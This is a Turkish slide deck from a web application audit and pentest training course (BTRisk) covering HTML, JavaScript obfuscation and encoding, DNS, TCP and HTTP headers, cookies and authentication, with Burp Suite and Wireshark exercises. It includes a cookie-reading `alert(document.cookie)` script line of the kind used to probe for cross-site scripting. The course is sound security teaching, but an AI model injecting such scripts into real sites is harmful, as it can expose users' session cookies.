SlideShare a Scribd company logo
1 of 373
WEB UYGULAMA DENETİMİ
EĞİTİMİ
blog.btrisk.com @btrisk /btrisktv /btrisk
BTRİSK HAKKINDA
TANIŞMA
Pentest & BT Denetimi
ISO27001 Danışmanlık
Hizmetleri
BG Operasyon
Hizmetleri
Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz
Nelerdir?
TANIŞMA
Web Sunucusu
Tarayıcı (Browser)
Web Sunucusu
Uygulama Sunucusu
Veritabanı
Sunucusu
XML Veri Deposu / Konfigürasyon Dosyaları
Web Servisi
Soket Servisi
Diğer Sunucular
WEB UYGULAMA MİMARİSİ
Tarayıcı (Browser)
HTML
Javascript
ActiveX
Applet
Silverlight
Web Sunucusu
Web Sunucusu
Uygulama Sunucusu
Veritabanı
Sunucusu
XML Veri Deposu / Konfigürasyon Dosyaları
Web Servisi
Soket Servisi
Diğer Sunucular
WEB UYGULAMA MİMARİSİ
HTML
SINIF TARTIŞMASI
• HTML ne işe yarar, temel özellikleri (fonksiyonları)
nelerdir?
HTML
• Temel HTML fonksiyonalitesi
• Tablo içinde kayıt listeleme
• Form bilgilerini sunucuya gönderme (yorum
yazma, başvuruda bulunma)
• Resim görüntüleme
• Başka bir sayfaya link verme
• Formatlı yazı görüntüleme
HTML
• İleri HTML fonksiyonalitesi
• Form alanlarına girilen verilerin validasyonu
• Dinamik HTML üretme (ör: bir dropdown list’ten
seçilen bir şehrin ilçelerini görüntüleme)
• Görüntü (video) oynatma ve ses dinletme
HTML
• Temel HTML doküman blokları
<html>
<head>
...
</head>
<body>
...
...
</body>
</html>
HTML
<meta>
<meta name="keywords" content="pentest, sızma testi">
<meta name="description" content="pentest hizmetleri">
<meta name="author" content="Burhanttin Özgenç">
<meta http-equiv="refresh" content="10;URL='http://www.btrisk.com/'">
HTML
<a> (anchor)
<a href="http://www.btrisk.com">BTRisk Web Sitesi</a>
HTML
<img> (image)
<img src="logo.gif" alt="BTRisk Logo" height="42" width="42">
HTML
<!-- ... --> (comment)
<!--Bu bir yorumdur. Yorumlar tarayıcıda görüntülenmez-->
HTML
<form>, <input>
<form action="logon.aspx" method="post">
Kullanıcı Kodu: <input type="text" name="uname"><br>
Parola: <input type="password" name="pwd"><br>
<input type="hidden" name="isadmin" value="false">
<input type="submit" value="Gönder">
</form>
HTML
SINIF TARTIŞMASI
• Form içeriğini sunucuya göndermeden önce bir
kontrol (validasyon) yapmak isteseydik ne
yapabilirdik?
HTML
<form>, <input> (devamı)
<form action="logon.aspx" onsubmit="return validateForm()" method="post">
Kullanıcı Kodu: <input type="text" name="uname"><br>
Parola: <input type="password" name="pwd"><br>
<input type="hidden" name="isadmin" value="false">
<input type="submit" value="Gönder">
</form>
HTML
<iframe>
<iframe src="http://blog.btrisk.com"></iframe>
HTML
<script>
<script>
document.getElementById("etiket").innerHTML = "Merhaba";
</script>
<script>alert(document.cookie);</script>
<script src="myscripts.js"></script>
HTML
<script> (devamı)
<script type="text/javascript">
<!--
function merhaba()
{
alert("Merhaba");
}
//-->
</script>
Yorum satırının burada
ne işi olabilir?
HTML
<object>
<!--<object
name="tstapp"
classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
width="100" height="50">
<param name="code" value="TestApp.class">
</object>//-->
HTML
Formatlama yöntemleri
Inline styling (Inline CSS)
<h1 style="color:blue">Bu mavi bir başlıktır</h1>
HTML
Formatlama yöntemleri (devamı)
Internal styling (Internal CSS)
<html>
<head>
<style> h1 {color:blue;} </style>
</head>
<body>
<h1>Bu bir başlıktır</h1>
</body>
</html>
HTML
Formatlama yöntemleri (devamı)
External styling (External CSS)
<html>
<head>
<link rel="stylesheet" href="stiller.css">
</head>
<body>
<h1>Bu bir başlıktır</h1>
</body>
</html>
HTML
Sayfa tasarım ve akış yöntemleri
Tablo yöntemi
<table style="width:100%">
<tr>
<td width="70%">Ocak</td>
<td width="30%">100 TL</td>
</tr>
<tr>
<td>Şubat</td>
<td>80 TL</td>
</tr>
</table>
HTML
Sayfa tasarım ve akış yöntemleri
Div tag’i, style ve float özellikleri
<div style="width: 500px;">
<div style="float: left; width: 200px;">Sol taraf</div>
<div style="float: left; width: 100px;">Orta</div>
<div style="float: left; width: 200px;">Sağ taraf</div>
<br style="clear: left;" />
</div>
HTML
SINIF TARTIŞMASI
• HTML’in kullandığı özel (tarayıcı için özel anlamı
olan) karakterler neler olabilir?
HTML
SINIF TARTIŞMASI
• Peki bu özel karakterleri olduğu gibi görüntülemek
istersek ne yapmalıyız?
HTML
HTML Encoding
" &quot; quotation mark
' &apos; apostrophe
& &amp; ampersand
< &lt; less than
> &gt; greater than
HTML
BİREYSEL EGZERSİZ
• Tasarlayacağınız HTML sayfasının içinde bir şirket
logosu görüntülensin ve bu logoya tıklandığında
şirket web sitesi açılsın.
• Bu egzersiz için sizinle paylaşılacak olan örnek HTML
sayfasından ve internet kaynaklarından
faydalanabilirsiniz.
Javascript
SINIF TARTIŞMASI
• Javascript (ve diğer scripting dilleri) tarayıcı içinde
bize hangi imkanları sağlar?
Javascript
BİREYSEL EGZERSİZ
• Size sağlanacak Javascript ile yazılmış hesap
makinesi kodlarına çarpma ve bölme
fonksiyonalitesini de kazandırınız.
Javascript
SINIF TARTIŞMASI
• Javascript’in bize sağladığı imkanları
düşündüğümüzde güvenlik veya güvenlik testleri
açılarından Javascript kodlarının ne yaptığını
anlamaya neden ihtiyacımız olabilir?
Javascript
Minify (Compress) etmek
x=100;
y=101;
document.writeln("<br> x = "+x+"<br>");
document.writeln("<br> y = "+y+"<br>");
if(x==y)
document.writeln("<br> x = y");
else
document.writeln("<br> x != y");
x=100,y=101,document.writeln("<br> x = "+x+"<br>"),document.writeln("<br> y =
"+y+"<br>"),document.writeln(x==y?"<br> x = y":"<br> x != y");
Normal
Minified
Javascript
Beautify etmek
x = 100;
y = 101;
document.writeln("<br> x = " + x + "<br>");
document.writeln("<br> y = " + y + "<br>");
document.writeln(x == y ? "<br> x = y" : "<br> x != y");
x=100;y=101;document.writeln("<br> x = "+x+"<br>");document.writeln("<br> y =
"+y+"<br>");document.writeln(x==y?"<br> x = y":"<br> x != y");
Güzelleşmiş
Kod
Çirkin Kod
Javascript
Obfuscate etmek (işler çirkinleşiyor!)
x=100;
y=101;
document.writeln("<br> x = "+x+"<br>");
document.writeln("<br> y = "+y+"<br>");
if(x==y)
document.writeln("<br> x = y");
else
document.writeln("<br> x != y");
var _0x15ab=["x3Cx62x72x3Ex20x78x20x3Dx20","x3Cx62x72x3E",
"x77x72x69x74x65x6Cx6E","x3Cx62x72x3Ex20x79x20x3Dx20","x3Cx62x72x3Ex20x78x20x3Dx20x79
","x3Cx62x72x3Ex20x78x20x21x3Dx20x79"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);doc
ument[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x==y){document[_0x15ab[2]](_0x15ab[4])}else
{document[_0x15ab[2]](_0x15ab[5])};
Obfuscated
AMA
NEDEN ?
Normal
Javascript
Obfuscate etmek (işler çirkinleşiyor!)
var _0x15ab=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x !=
y"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);document[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x
==y){document[_0x15ab[2]](_0x15ab[4])}else {document[_0x15ab[2]](_0x15ab[5])};
var arr=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x != y"];
x=100;
y=101;
document[arr[2]](arr[0]+x+arr[1]);
document[arr[2]](arr[3]+y+arr[1]);
if(x==y) {
document[arr[2]](arr[4])}
else {
document[arr[2]](arr[5])};
1
2
Javascript
Obfuscate etmek (işler çirkinleşiyor!)
x=100;
y=101;
document.writeln("<br> x = "+x+"<br>");
document.writeln("<br> y = "+y+"<br>");
if(x==y) {
document.writeln("<br> x = y")}
else {
document.writeln("<br> x != y")};
3
Javascript
Encode etmek (işler daha da çirkinleşiyor!)
x=100;
y=101;
document.writeln("<br> x = "+x+"<br>");
document.writeln("<br> y = "+y+"<br>");
if(x==y)
document.writeln("<br> x = y");
else
document.writeln("<br> x != y");
<script
language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3
D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7
B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%7
3%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%
3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67
%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28
%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%6
4%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7
D%3C%2F%73%63%72%69%70%74%3E'));dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%26
39%2633%264Dcs%264F%2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%2
61Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs%264F
%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfou/xsjufmo%2639%263
3%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%261Bfmtf%2631%261B%261%3Aepdvnfo
u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%264E%2631z%2633%263%3A%264C%261B1')</script>
Normal
Encoded
Javascript
Encode etmek (işler daha da çirkinleşiyor!)
"unescape" fonksiyonu: Hex escape karakterlerini
karşılık gelen karakterlere dönüştürür.
Javascript
Encode etmek (işler daha da çirkinleşiyor!)
<script language=javascript>document.write('<script language="javascript">function dF(s){var
s1=unescape(s.substr(0,s.length-1)); var
t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-
1,1));document.write(unescape(t));}</script>');
dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F
%2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv
nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dc
s%264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnf
ou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%
261Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632
%264E%2631z%2633%263%3A%264C%261B1')</script>
1
Javascript
Encode etmek (işler daha da çirkinleşiyor!)
<script language=javascript>
document.write('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1));
var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-
1,1));document.write(unescape(t));}</script>');
dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F
%2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv
nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs
%264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfo
u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%26
1Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%2
64E%2631z%2633%263%3A%264C%261B1')
</script>
2
Javascript
Encode etmek (işler daha da çirkinleşiyor!)
"String.fromCharCode" fonksiyonu: Unicode karakter
numarasından karaktere (ör: 65 -> 'A') dönüşümü sağlar.
"String.charCodeAt" fonksiyonu: Belli bir indeksteki
karakterin unicode karakter numarasını döndürür (ör:
str="ASLAN"; n=str.charCodeAt(0); ise n = 65'tir)
Javascript
Javascript debug etmek (dinamik analiz)
Chrome'da
debug etmek için:
Javascript
Javascript debug etmek (dinamik analiz)
Chrome'da
debug etmek için:
Javascript
Javascript debug etmek (dinamik analiz)
Chrome'da
debug etmek için:
Javascript
Javascript debug etmek (dinamik analiz)
Chrome'da
debug etmek için:
Ctrl+O ile dosya'yı
açabilirsiniz.
Javascript
Validasyon örneği (form)
<form name="bizimform" action="http://www.abc.com" method="post" onsubmit="return
validasyon()">
Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="text"/><br/>
İkinci Rakam: <input id="ikincirakam" type="text"/><br/>
E-posta: <input id="eposta" type="text"/><br/>
<input type="submit" value="gönder"/>
</form>
Javascript
Validasyon örneği (javascript)
<script type="text/javascript">
function validasyon() {
var rakam1;
rakam1=document.getElementById("birincirakam").value;
//document.forms["bizimform"]["ilkrakam"].value de olabilirdi
if (rakam1==null || rakam1=="") {
alert("Birinci rakam dolu olmalı!!");
return false;
}
var rakam2 = document.getElementById("ikincirakam").value;
if (isNaN(rakam2)) {
alert("İkinci rakam sayı olmalı!!");
return false;
} ...
Javascript
Validasyon örneği (javascript - devamı)
...
var eposta;
eposta=document.getElementById("eposta").value;
var atpozisyon;
atpozisyon=eposta.indexOf("@");
if (atpozisyon<1) {
alert("Eposta içinde @ işareti yok!!");
return false;
}
}
</script>
Javascript
Timeout örneği
<script type="text/javascript">
function bildir_kapat() {
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://www.btrisk.com/kapat.html", true );
xmlHttp.send();
window.close();
}
setInterval(function() {bildir_kapat()},3000);
</script>
Javascript
Dinamik cookie üretme örneği
<html>
<head>
<script type="text/javascript">
document.cookie = "cerez=abcd";
</script>
</head>
<body>
<h1>Dinamik cookie örneği</h1>
<a href="test.html">tıklayınız!!</a>
</body>
</html>
Javascript
Kütüphane kullanım örneği (jquery)
<html>
<head>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.
validate.js" type="text/javascript"></script>
</head>
<body>
<form id="form1" name="bizimform" action="http://www.abc.com" method="post">
Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="number" required/><br/>
İkinci Rakam: <input id="ikincirakam" type="text" required/><br/>
E-posta: <input id="eposta" type="email" required/><br/>
<input type="submit" value="gönder"/>
</form>
...
Javascript
Kütüphane kullanım örneği (devamı)
...
<script>
$("#form1").validate();
</script>
</body>
</html>
Applet (Örnek Applet)
Applet (Applet'in derlenmesi)
Applet (Örnek HTML)
Applet (Örnek HTML)
Applet (Decompile işlemi)
Applet (Java obfuscator örneği)
Applet (Java obfuscator örneği)
Web Sunucusu
WEB UYGULAMA MİMARİSİ
Tarayıcı (Browser)
Web Sunucusu
Uygulama Sunucusu
Veritabanı
Sunucusu
XML Veri Deposu / Konfigürasyon Dosyaları
Web Servisi
Soket Servisi
Diğer Sunucular
TCP UDP
IP
SSL
HTTP
DNS
Ağ Servis Uygulamaları (Basit TCP servisi)
Ağ Servis Uygulamaları (Basit TCP servisi)
Ağ Servis Uygulamaları (Basit HTTP servisi)
Ağ Servis Uygulamaları (Basit HTTP Servisi)
Ağ Servis Uygulamaları (TCP/IP Model)
Ağ Servis Uygulamaları (TCP)
Ağ Servis Uygulamaları (TCP - HTTP)
Ağ Servis Uygulamaları (UDP)
Ağ Servis Uygulamaları (UDP-DNS)
Alan Adları
İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi)
• Hosts dosyası
C:WindowsSystem32driversetchosts
/etc/hosts
1
Alan Adları
İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi)
• DNS altyapısı2 (.) root
edu net com org tr jp uk de
Top
Level
Domains
(TLDs)
btrisk com
www blog btrisk
www
ops
www
Parent
Domain
Sub / Child
Domain
Host
ÜlkelerJenerik
Alan Adları
İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi)
• DNS altyapısı2
1
2
3
4
5
6
7
8
9
İstemci
Root
DNS
.com
DNS
ns1.sadecehosting.com
www.btrisk.com
Recursive
DNS
DNS
HTTP
TCP ve HTTP Servis Tespiti
• Port tarama (TCP servisi açık mı?)
• Uygulama tespiti (Servis HTTP
protokolüne yanıt veriyor mu?)
İSTEMCİ SUNUCU
SYN
SYN / ACK
ACK
TCP EL SIKIŞMA ADIMLARI
TCP ve HTTP Servis Tespiti
HTTP
BİREYSEL EGZERSİZ
• Burp Suite ile ilk tanışma
• Kullandığınız tarayıcının proxy ayarlarını localhost:8080
olarak tanımlayınız ve Burp Suite'i başlatınız.
• Tarayıcınızla herhangi bir web sitesini ziyaret ederek
giden ve gelen HTTP başlıklarını inceleyiniz.
• Not: Burp Suite'in Proxy tab'ında Options alt tab'ında
bulunan "Intercept Server Responses" seçeneğini seçiniz.
HTTP
Örnek İstek
GET / HTTP/1.1
Host: www.btrisk.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP
Örnek Yanıt
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 27 Jun 2015 12:40:34 GMT
Content-Length: 25297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html ...
HTTP Yanıtı
HTTP Paketinde
Taşınan Veri
HTTP
İstek Metodlarına Örnekler
• GET: GET ve POST metodları en sık kullanılan metodlar olup
sunucudaki kaynaklara erişmek için kullanılırlar. GET metodu ile sorgu
metinleri URL içinde gönderilebilir. Bunun en önemli faydası kullanıcıların
bookmark edebilmeleri ve aynı sorguyu içeren istekleri daha sonra
gönderebilmelerini sağlaması ve tarayıcıda önceki sorguların “geri” tuşu
ile veya tarihçeden çağrılarak aynı sayfalara ulaşabilmeleridir. Buna
karşılık güvenlik açısından URL’lerin ekranda görüntüleniyor olması ve
URL’in hedefine ulaşıncaya kadar ve hedef sunucu üzerinde iz
kayıtlarında görülebilmesi gönderilen parametrelerin gizlilik ihtiyacı varsa
sıkıntı yaratabilir. URL’de yer alan bilgiler aşağıda açıklanan “Referer”
başlığında da görülmektedir. Bu nedenlerle hassas isteklerin GET ile
gönderilmemesinde fayda bulunmaktadır.
HTTP
İstek Metodlarına Örnekler (devamı)
• POST: Bu metodun asli amacı bir aktiviteyi gerçekleştirmektir. Bu
metodla istek parametreleri hem URL içinde hem de mesaj gövdesinde
gönderilebilir. Sadece mesaj gövdesinin kullanımı yukarıda sayılan riskleri
engelleyecektir. Tarayıcılar geri butonuna basıldığında POST isteğinin
mesaj gövdesinde yer alan parametreleri tekrar göndermek isteyip
istemedimizi sorarlar. Bunun temel nedeni bir işlemi yanlışlıkla birden
fazla yapmayı engellemektir. Bu özellik ve de güvenlik gerekçeleriyle bir
işlem gerçekleştirileceğinde POST metodunun kullanılması önerilir (GET
metodunun yerine).
HTTP
İstek Metodlarına Örnekler (devamı)
• HEAD
• TRACE
• OPTIONS
• PUT
• DELETE
• CONNECT
• WebDAV uzantısı ile gelen metodlar:
• COPY, MOVE, SEARCH, PROPFIND, ...
HTTP
Yanıt Statü Kodları
• 1xx: Bilgi mesajları
• 2xx: Başarılı istek yanıtları
• 3xx: İstemciyi başka bir kaynağa yönlendiren
yanıtlar
• 4xx: Bir hata barındıran isteklere karşı üretilen
yanıtlar
• 5xx: Sunucu tarafında istek karşılanmaya çalışılırken
bir hata alındığına ilişkin yanıtlar
HTTP
Yanıt Statü Kodlarına Örnekler
• 200 Ok: İsteğin başarılı olduğu ve yanıt gövdesinde isteğin
sonucu olan mesaj içeriğinin dönüldüğünü ifade eder.
• 302 Found: İstemciyi geçici olarak “Location” başlığında
belirtilen URL’e yönlendirmek için kullanılan statü kodudur.
İstemci sonraki taleplerde orjinal URL’i kullanmaya devam
etmelidir.
• 401 Unauthorized: Sunucunun istemciye istenen kaynağa
ulaşmak için kullanıcı credential’ları göndermesi gerektiğini
söylediği statü kodudur. Yanıt mesajındaki “WWW-
Authenticate” başlığı içinde sunucunun desteklediği tanılama
yöntemleri belirtilir.
HTTP
Yanıt Statü Kodlarına Örnekler (devamı)
• 403 Forbidden: İstenen kaynağa kim olursa olsun
(authenticate olunsa dahi) erişimin yasak olduğu anlamına
gelir.
• 404 Not Found: İstenen kaynağın mevcut olmadığını belirtir.
• 500 Internal Service Error: Sunucu tarafından istek işlenirken
bir hata oluşması durumunda gönderilen statü kodudur.
Hatanın detayları yanıt mesajında belirtilebilir.
• 503 Service Unavailable: Web sunucusunun çalıştığı ancak
sunucu tarafından erişilen uygulamanın çalışmadığı
durumlarda gönderilir.
HTTP
Yanıt Statü Kodlarına Örnekler (devamı)
• Diğer HTTP yanıtlarına örnekler:
• 100 Continue
• 201 Created
• 301 Moved Permanently
• 304 Not Modified
• 400 Bad Request
• 405 Method Not Allowed
• 413 Request Entity Too Large
• 414 Request URI Too Long
HTTP
HTTP Başlıkları (Genel Başlıklar)
• Connection: Karşı tarafa kurulan TCP bağlantısının
kapatılması mı yoksa devam edecek mesajlar için açık mı
tutulması gerektiğini bildirmek için kullanılır.
• Content-Encoding: Mesaj gövdesinde iletilen içeriğin hangi
kodlamaya sahip olduğunu belirtmek için kullanılır. Örneğin
daha hızlı iletim için sıkıştırmanın kullanıldığı durumlarda bu
başlık “gzip” değerini içerir.
• Content-Length: Mesaj gövdesinin byte cinsinden
uzunluğunu belirtir.
HTTP
HTTP Başlıkları (Genel Başlıklar - devamı)
• Content-Type: Mesaj gövdesinde iletilen içeriğin tipini
belirtir. Örneğin HTML dokümanları için “text/html” değerini
içerir.
• Transfer-Encoding: HTTP üzerinden iletilen mesajın
kullandığı kodlama tipini belirten başka bir başlıktır.
Normalde “chunked” kodlamayı belirtir. Chunked kodlama
eğer sunucunun üreteceği mesaj çok uzunsa bunu
parçalayarak gönderebilmesini ve tüm mesajın büyüklüğünü
önceden hesaplamadan mesajı göndermeye
başlayabilmesini sağlar.
HTTP
HTTP Başlıkları (İstek Başlıkları)
• Accept: Sunucuya hangi tipte içeriğin istemci tarafından
kabul edileceğini söyler. Örneğin imaj/resim formatları, ofis
doküman formatları vb. gibi.
• Accept-Encoding: Sunucuya hangi kodlama tiplerinde
içeriğin istemci tarafından kabul edileceğini söyler. Örneğin
“gzip” gibi.
• Authorization: Built-in HTTP authentication tipleri için
kullanıcı tarafından sunucuya gönderilen credential’ları içerir.
Örneğin NTLM hash’i veya Base64 encoded parola gibi.
• Cookie: Sunucu tarafından daha önce istemciye iletilmiş
cookie’leri içerir.
HTTP
HTTP Başlıkları (İstek Başlıkları - devamı)
• Host: URL’de belirtilen host adını içerir. Bu özellikle aynı port
üzerinden servis veren HTTP sunucularının ayırt edilebilmesi
veya proxy sunucuların mesajları doğru sunuculara
yönlendirebilmesi için önemlidir.
• If-Modified-Since: Bu başlık istemci tarayıcının talep edilen
kaynağa son eriştiği zamanı içerir. Eğer kaynak bu zamandan
sonra değiştirilmemişse sunucu istemciye 304 statü koduyla
hafızadaki (cache edilmiş) kopyayı kullanmasını söyleyebilir.
HTTP
HTTP Başlıkları (İstek Başlıkları - devamı)
• If-None-Match: Bu başlığın içinde istemci sunucu tarafından
Etag başlığı içinde belli bir kaynak için bir tag göndermişse bu
tag’i sunucuya geri gönderebilir. Bu şekilde sunucu kaynağın
değişip değişmediğine karar vererek yanıtını dönebilir.
• Referer: Mevcut talebin hangi URL’den kaynaklandığını içerir.
Bu saha örneğin google’da yapılan bir arama sonrası erişimi
tespit etmek ve ilgili google URL’inden hangi arama
cümlesiyle ilgili siteye ulaşıldığının öğrenilebilmesi için
kullanılabilir.
• User-Agent: İstemci tarafından kullanılan tarayıcı hakkında
bilgi içerir.
HTTP
HTTP Başlıkları (Yanıt Başlıkları)
• Server: Web sunucu yazılımı hakkında bilgi içerir (yazılım
üreticisi, yazılım versiyon, eklentiler, vd.)
• Set-Cookie: İstemci tarayıcıya sonraki isteklerinde geri
göndermesi için gönderilen cookie’leri içerir.
• WWW-Authenticate: Bu başlık 401 (unauthorized) statü
kodlu yanıtların içinde sunucu tarafından desteklenen
tanılama (authentication) tiplerini belirtmek için kullanılır.
• Location: Bu başlık statü kodu 3 ile başlayan yeniden
yönlendirme (redirection) mesajlarında yönlendirilmek
istenen hedefi belirtir.
HTTP
HTTP Başlıkları (Yanıt Başlıkları - devamı)
• Cache-Control: Sunucu tarafından istemciye cache’lemeyle
ilgili talimatların iletilmesi için kullanılır. Örneğin “no-cache”
içeriği tarayıcının kaynağı cache’inde tutmaması talimatı
anlamına gelir.
• Pragma: Bu başlık da istemci tarayıcısına yönelik
cache’lemeyle ilgili talimatları içerir. “no-cache” içeriği
tarayıcının ilgili kaynağı cache’inde saklamaması talimatı
anlamına gelir. HTTP 1.1 uyumlu olmayan sunuculara karşı
hem “Cache-Control” hem de “Pragma” başlıkların
gönderilmesi önerilmektedir RFC 2616 (HTTP 1.1) tarafından.
Cache-Control başlığı HTTP 1.1’de tanımlanmıştır.
HTTP
HTTP Başlıkları (Yanıt Başlıkları - devamı)
• Expires: Sunucu tarafından istemci tarayıcıya gönderilen
kaynağın ne zamana kadar geçerli olacağının iletilmesini
sağlar. İstemci tarayıcı bu zamana kadar cache’lediği kopyayı
kullanabilir.
• ETag: Yukarıda da belirtildiği üzere sunucu istenen kaynağa
bir tag değeri atayarak (entity tag) daha sonra istemci
tarafından “If-None-Match” başlığı içinde gönderilen içeriğe
göre yanıtını belirleyebilmektedir. Bu başlık içinde kaynağa
atanmış tag değeri iletilir.
Cookie
Sunucu yanıtı içindeki Set-Cookie başlığı örneği:
Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly
İstemci isteği içindeki Cookie başlığı örneği:
Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm
HTTP
HTTP
Cookie Özellikleri (attributes)
• expires: Cookie’nin geçerli olduğu zaman sınırını tanımlar. Bu özellik
tanımlı değilse istemci’nin bilgisayarı cookie’yi diskine yazmaz ve cookie
sadece mevcut tarayıcı oturumunda kullanılabilir. Ancak bu özellik ileri bir
tarih olarak belirtilmişse diske yazılır ve bu tarihe kadar açılacak olan diğer
tarayıcı oturumlarında da kullanılır.
• domain: Cookie’nin geçerli olduğu alan adını tanımlar. Bu alan cookie’nin
gönderildiği alan veya daha üst (parent) alanlardan farklı olamaz.
• path: Cookie’nin geçerli olduğu dizin (path) adını içerir.
• secure: Eğer bu özellik kullanılmışsa ilgili cookie sadece HTTPS isteklerinde
gönderilebilir.
• HttpOnly: Tüm tarayıcılar bu özelliği desteklememekle birlikte eğer bu
özellik kullanılmışsa cookie değerine istemci tarafında çalışan JavaScript
kodları tarafından erişilemez.
HTTP
Kalıcı (Resident) Cookie'ler
HTTP
SINIF TARTIŞMASI
• Kalıcı cookie'ler nasıl bir risk doğurabilir?
HTTP
Bilgisayarda veri saklayan diğer
teknolojiler
• Silverlight cookies
• Flash cookies
HTTP
Built-in HTTP kullanıcı tanılama yöntemleri:
HTTP
Built-in HTTP kullanıcı tanılama yöntemleri:
• Negotiate ve NTLM Authentication (Challenge-response
metoduyla çalışırlar)
• Digest Authentication (Parola hash'ini gönderir)
• Basic Authentication (Sadece Base64 kodlayarak kullanıcı adı
ve parolasını Authorize başlığı içinde iletir)
• İlgili HTTP yanıt ve başlıkları:
• 401 Unauthorized
• WWW-Authenticate (Basic, Digest, Negotiate veya
NTLM)
• Authorization (Base64 kodlu erişim bilgileri)
HTTP
BİREYSEL EGZERSİZ
• Size sağlanacak IP adresinde barındırılan HTTP
sunucusuna bağlanmadan önce Burp Suite ile
tarayıcınızın arasına giriniz.
• Karşılaşacağınız kullanıcı tanılama ekranına herhangi
bir kullanıcı adı ve parola girdikten sonra iletilen
istek mesajını inceleyiniz.
HTTP
Daha detaylı bilgi için bakınız:
http://blog.btrisk.com/2014/09/web-uygulamalari-
guvenlik-testleri-icin-temel-web-teknolojileri.html
HTTP(S)
BİREYSEL EGZERSİZ
• Wireshark'ı internet erişimi için kullanacağınız
arayüzü dinleyecek şekilde ayarlayınız.
• HTTPS protokolü ile bir web sitesine erişerek alış
verişi yapılan paketleri inceleyiniz ve SSL
protokolünü anlamaya çalışınız.
• Wireshark üzerinde inceleyeceğiniz paketleri
filtrelemek için eğitmen desteği alınız.
HTTP(S)
Temel Kriptografi Kavramları
Kriptolama
(Encrypting)
AlgoritmaAnahtar
Açık Metin
(Plaintext)
Kriptolu
Metin
(Ciphertext)
GİZLİ AÇIK / GİZLİ
HTTP(S)
Temel Kriptografi Kavramları
Kodlama
(Encoding)
Algoritma
Açık Metin
(Plaintext)
Kodlanmış
Metin
(Encoded
Text)
AÇIK / GİZLİ
HTTP(S)
Temel Kriptografi Kavramları
Base64 Kodlama (Encoding)
HTTP(S)
